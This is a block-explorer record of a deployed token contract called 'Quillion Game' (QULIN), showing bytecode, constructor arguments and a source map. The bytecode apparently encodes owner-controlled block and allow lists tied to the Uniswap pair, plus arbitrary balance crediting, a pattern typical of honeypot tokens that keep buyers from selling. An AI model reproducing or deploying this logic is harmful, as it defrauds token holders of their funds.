ffffffffffffffffffff16815260200191505060405180910390f35b3480156103a657600080fd5b5061041e600480360360208110156103bd57600080fd5b81019080803590602001906401000000008111156103da57600080fd5b8201836020820111156103ec57600080fd5b8035906020019184602083028401116401000000008311171561040e57600080fd5b9091929391929390505050610f19565b60405180821515815260200191505060405180910390f35b34801561044257600080fd5b506104856004803603602081101561045957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611071565b6040518082815260200191505060405180910390f35b3480156104a757600080fd5b506104b0611089565b005b3480156104be57600080fd5b506104c761119f565b60405180821515815260200191505060405180910390f35b61052b600480360360408110156104f557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611313565b60405180821515815260200191505060405180910390f35b34801561054f57600080fd5b50610558611483565b60405180821515815260200191505060405180910390f35b34801561057c57600080fd5b506105856115f7565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105c55780820151818401526020810190506105aa565b50505050905090810190601f1680156105f25780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61064c6004803603604081101561061657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611695565b60405180821515815260200191505060405180910390f35b34801561067057600080fd5b506106796116aa565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156106b157600080fd5b506106ba6116d0565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156106f257600080fd5b506106fb6116f4565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561073357600080fd5b506107766004803603602081101561074a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061171a565b60405180821515815260200191505060405180910390f35b34801561079a57600080fd5b506107a3611816565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156107db57600080fd5b5061083e600480360360408110156107f257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061183c565b6040518082815260200191505060405180910390f35b34801561086057600080fd5b506108d86004803603602081101561087757600080fd5b810190808035906020019064010000000081111561089457600080fd5b8201836020820111156108a657600080fd5b803590602001918460208302840111640100000000831117156108c857600080fd5b9091929391929390505050611861565b60405180821515815260200191505060405180910390f35b600d8054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156109865780601f1061095b57610100808354040283529160200191610986565b820191906000526020600020905b81548152906001019060200180831161096957829003601f168201915b505050505081565b600081600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b600c5481565b600080821415610a995760019050610e1f565b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610be05781600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610b5557600080fd5b81600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055505b6005548210610c4d576004839080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600554821015610cbb576003839080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b610cc68484846119b8565b610ccf57600080fd5b81600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610d1b57600080fd5b81600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b9392505050565b601281565b6000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610ed4575060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610edd57600080fd5b6012600a0a820260058190555060019050919050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610fc2575060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610fcb57600080fd5b60005b8383905081101561106657600160026000868685818110610feb57fe5b9050602002013573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050610fce565b506001905092915050565b600a6020528060005260406000206000915090505481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146110e157600080fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480611248575060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b61125157600080fd5b60005b6003805490508110156112fd576001600260006003848154811061127457fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050611254565b506003600061130c9190611dfb565b6001905090565b6000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806113bc575060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b6113c557600080fd5b6000821115611422576012600a0a8202600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055505b60018060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001905092915050565b6000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148061152c575060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b61153557600080fd5b60005b6004805490508110156115e1576001600260006004848154811061155857fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050611538565b50600460006115f09190611dfb565b6001905090565b600e8054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561168d5780601f106116625761010080835404028352916020019161168d565b820191906000526020600020905b81548152906001019060200180831161167057829003601f168201915b505050505081565b60006116a2338484610a86565b905092915050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806117c3575060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b6117cc57600080fd5b81600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600b602052816000526040600020602052806000526040600020600091509150505481565b6000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148061190a575060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b61191357600080fd5b60005b838390508110156119ad57600180600086868581811061193257fe5b9050602002013573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050611916565b506001905092915050565b600080611a0a600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1630611caf565b905060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161480611ab1575060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80611b095750600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16145b80611b3f57508073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16145b80611b975750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16145b80611beb5750600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611bfa576001915050611ca8565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611c56576000915050611ca8565b82600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015611ca257600080fd5b60019150505b9392505050565b60008060008373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1610611cee578385611cf1565b84845b91509150858282604051602001808373ffffffffffffffffffffffffffffffffffffffff1660601b81526014018273ffffffffffffffffffffffffffffffffffffffff1660601b8152601401925050506040516020818303038152906040528051906020012060405160200180807fff000000000000000000000000000000000000000000000000000000000000008152506001018373ffffffffffffffffffffffffffffffffffffffff1660601b8152601401828152602001807f96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f815250602001925050506040516020818303038152906040528051906020012060001c925050509392505050565b5080546000825590600052602060002090810190611e199190611e1c565b50565b5b80821115611e35576000816000905550600101611e1d565b509056fea2646970667358221220df98c0f25355b32d9bcadd35e83c3cc20c816b060eef2c4301b161706537f8cd64736f6c634300060c0033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a00000000000000000000000000000000000000000000000000000000029b92700000000000000000000000000000000000000000000000000000000000000000d5175696c6c696f6e2047616d6500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000551554c494e000000000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : _name (string): Quillion Game
Arg [1] : _symbol (string): QULIN
Arg [2] : _supply (uint256): 700000000

-----Encoded View---------------
7 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000060
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000a0
Arg [2] : 0000000000000000000000000000000000000000000000000000000029b92700
Arg [3] : 000000000000000000000000000000000000000000000000000000000000000d
Arg [4] : 5175696c6c696f6e2047616d6500000000000000000000000000000000000000
Arg [5] : 0000000000000000000000000000000000000000000000000000000000000005
Arg [6] : 51554c494e000000000000000000000000000000000000000000000000000000


Deployed Bytecode Sourcemap

4211:5311:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9113:18;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5972:213;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;9083:23;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;5286:680;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;9042:34;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;6964:197;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;6679:21;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;8554:267;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;8923:42;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;4681:175;;;;;;;;;;;;;:::i;:::-;;8275:273;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;6191:282;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;7997:272;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;9138:20;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4445:135;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;7426:64;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;4247:20;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;7352:67;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;7167:179;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;8827:89;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;8972:63;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;6707:251;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;9113:18;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;5972:213::-;6044:4;6095:6;6061:9;:21;6071:10;6061:21;;;;;;;;;;;;;;;:31;6083:8;6061:31;;;;;;;;;;;;;;;:40;;;;6138:8;6117:38;;6126:10;6117:38;;;6148:6;6117:38;;;;;;;;;;;;;;;;;;6173:4;6166:11;;5972:213;;;;:::o;9083:23::-;;;;:::o;5286:680::-;5373:4;5404:1;5394:6;:11;5390:55;;;5429:4;5422:11;;;;5390:55;5473:5;5459:19;;:10;:19;;;5455:152;;5535:6;5503:9;:16;5513:5;5503:16;;;;;;;;;;;;;;;:28;5520:10;5503:28;;;;;;;;;;;;;;;;:38;;5495:47;;;;;;5589:6;5557:9;:16;5567:5;5557:16;;;;;;;;;;;;;;;:28;5574:10;5557:28;;;;;;;;;;;;;;;;:38;;;;;;;;;;;5455:152;5632:6;;5622;:16;5617:47;;5642:10;5658:3;5642:20;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5617:47;5688:6;;5679;:15;5674:45;;;5698:9;5713:3;5698:19;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5674:45;5737:26;5744:5;5751:3;5756:6;5737;:26::i;:::-;5729:35;;;;;;5803:6;5783:9;:16;5793:5;5783:16;;;;;;;;;;;;;;;;:26;;5775:35;;;;;;5841:6;5821:9;:16;5831:5;5821:16;;;;;;;;;;;;;;;;:26;;;;;;;;;;;5876:6;5858:9;:14;5868:3;5858:14;;;;;;;;;;;;;;;;:24;;;;;;;;;;;5924:3;5908:28;;5917:5;5908:28;;;5929:6;5908:28;;;;;;;;;;;;;;;;;;5954:4;5947:11;;5286:680;;;;;;:::o;9042:34::-;9074:2;9042:34;:::o;6964:197::-;7011:4;7049:8;;;;;;;;;;;7035:22;;:10;:22;;;:45;;;;7075:5;;;;;;;;;;7061:19;;:10;:19;;;7035:45;7027:54;;;;;;9074:2;7109;:21;7101:6;:30;7092:6;:39;;;;7149:4;7142:11;;6964:197;;;:::o;6679:21::-;;;;;;;;;;;;;:::o;8554:267::-;8623:4;8662:8;;;;;;;;;;;8648:22;;:10;:22;;;:45;;;;8688:5;;;;;;;;;;8674:19;;:10;:19;;;8648:45;8640:54;;;;;;8710:6;8705:87;8726:9;;:16;;8722:1;:20;8705:87;;;8786:4;8760:9;:23;8770:9;;8780:1;8770:12;;;;;;;;;;;;;;;8760:23;;;;;;;;;;;;;;;;:30;;;;;;;;;;;;;;;;;;8744:3;;;;;;;8705:87;;;;8809:4;8802:11;;8554:267;;;;:::o;8923:42::-;;;;;;;;;;;;;;;;;:::o;4681:175::-;4758:5;;;;;;;;;;4744:19;;:10;:19;;;4736:28;;;;;;4816:1;4780:39;;4801:5;;;;;;;;;;4780:39;;;;;;;;;;;;4846:1;4830:5;;:18;;;;;;;;;;;;;;;;;;4681:175::o;8275:273::-;8315:4;8355:8;;;;;;;;;;;8341:22;;:10;:22;;;:45;;;;8381:5;;;;;;;;;;8367:19;;:10;:19;;;8341:45;8332:55;;;;;;8403:6;8398:90;8419:9;:16;;;;8415:1;:20;8398:90;;;8482:4;8457:9;:23;8467:9;8477:1;8467:12;;;;;;;;;;;;;;;;;;;;;;;;;8457:23;;;;;;;;;;;;;;;;:29;;;;;;;;;;;;;;;;;;8437:3;;;;;;;8398:90;;;;8509:9;;8502:16;;;;:::i;:::-;8536:4;8529:11;;8275:273;:::o;6191:282::-;6262:4;6301:8;;;;;;;;;;;6287:22;;:10;:22;;;:45;;;;6327:5;;;;;;;;;;6313:19;;:10;:19;;;6287:45;6279:54;;;;;;6356:1;6347:6;:10;6344:67;;;9074:2;6387;:21;6379:6;:30;6360:9;:15;6370:4;6360:15;;;;;;;;;;;;;;;;:49;;;;;;;;;;;6344:67;6439:4;6421:11;:17;6433:4;6421:17;;;;;;;;;;;;;;;;:22;;;;;;;;;;;;;;;;;;6461:4;6454:11;;6191:282;;;;:::o;7997:272::-;8033:4;8073:8;;;;;;;;;;;8059:22;;:10;:22;;;:45;;;;8099:5;;;;;;;;;;8085:19;;:10;:19;;;8059:45;8050:55;;;;;;8121:6;8116:92;8137:10;:17;;;;8133:1;:21;8116:92;;;8202:4;8176:9;:24;8186:10;8197:1;8186:13;;;;;;;;;;;;;;;;;;;;;;;;;8176:24;;;;;;;;;;;;;;;;:30;;;;;;;;;;;;;;;;;;8156:3;;;;;;;8116:92;;;;8229:10;;8222:17;;;;:::i;:::-;8257:4;8250:11;;7997:272;:::o;9138:20::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;4445:135::-;4513:4;4535:37;4548:10;4560:3;4565:6;4535:12;:37::i;:::-;4528:44;;4445:135;;;;:::o;7426:64::-;;;;;;;;;;;;;:::o;4247:20::-;;;;;;;;;;;;:::o;7352:67::-;;;;;;;;;;;;;:::o;7167:179::-;7222:4;7261:8;;;;;;;;;;;7247:22;;:10;:22;;;:45;;;;7287:5;;;;;;;;;;7273:19;;:10;:19;;;7247:45;7238:55;;;;;;7313:3;7304:6;;:12;;;;;;;;;;;;;;;;;;7334:4;7327:11;;7167:179;;;:::o;8827:89::-;;;;;;;;;;;;;:::o;8972:63::-;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;6707:251::-;6768:4;6807:8;;;;;;;;;;;6793:22;;:10;:22;;;:45;;;;6833:5;;;;;;;;;;6819:19;;:10;:19;;;6793:45;6785:54;;;;;;6855:6;6850:79;6871:4;;:11;;6867:1;:15;6850:79;;;6923:4;6900:11;:20;6912:4;;6917:1;6912:7;;;;;;;;;;;;;;;6900:20;;;;;;;;;;;;;;;;:27;;;;;;;;;;;;;;;;;;6884:3;;;;;;;6850:79;;;;6946:4;6939:11;;6707:251;;;;:::o;4868:412::-;4947:4;4964:12;4979:37;4987:7;;;;;;;;;;;4996:4;;;;;;;;;;;5010;4979:7;:37::i;:::-;4964:52;;5039:5;;;;;;;;;;5030:14;;:5;:14;;;:30;;;;5055:5;;;;;;;;;;5048:12;;:3;:12;;;5030:30;:52;;;;5074:8;;;;;;;;;;;5065:17;;:5;:17;;;5030:52;:69;;;;5095:4;5086:13;;:5;:13;;;5030:69;:88;;;;5112:6;;;;;;;;;;;5103:15;;:5;:15;;;5030:88;:110;;;;5122:11;:18;5134:5;5122:18;;;;;;;;;;;;;;;;;;;;;;;;;5030:110;5027:129;;;5150:4;5143:11;;;;;5027:129;5170:9;:16;5180:5;5170:16;;;;;;;;;;;;;;;;;;;;;;;;;5166:38;;;5197:5;5190:12;;;;;5166:38;5242:6;5222:9;:16;5232:5;5222:16;;;;;;;;;;;;;;;;:26;;5214:35;;;;;;5267:4;5260:11;;;4868:412;;;;;;:::o;7498:493::-;7587:12;7613:14;7629;7656:6;7647:15;;:6;:15;;;:53;;7685:6;7693;7647:53;;;7666:6;7674;7647:53;7612:88;;;;7794:7;7843:6;7851;7826:32;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7816:43;;;;;;7741:239;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7731:250;;;;;;7726:256;;7711:272;;7498:493;;;;;;;:::o;-1:-1:-1:-;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::o;:::-;;;;;;;;;;;;;;;;;;;;;:::o

Swarm Source

ipfs://df98c0f25355b32d9bcadd35e83c3cc20c816b060eef2c4301b161706537f8cd
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.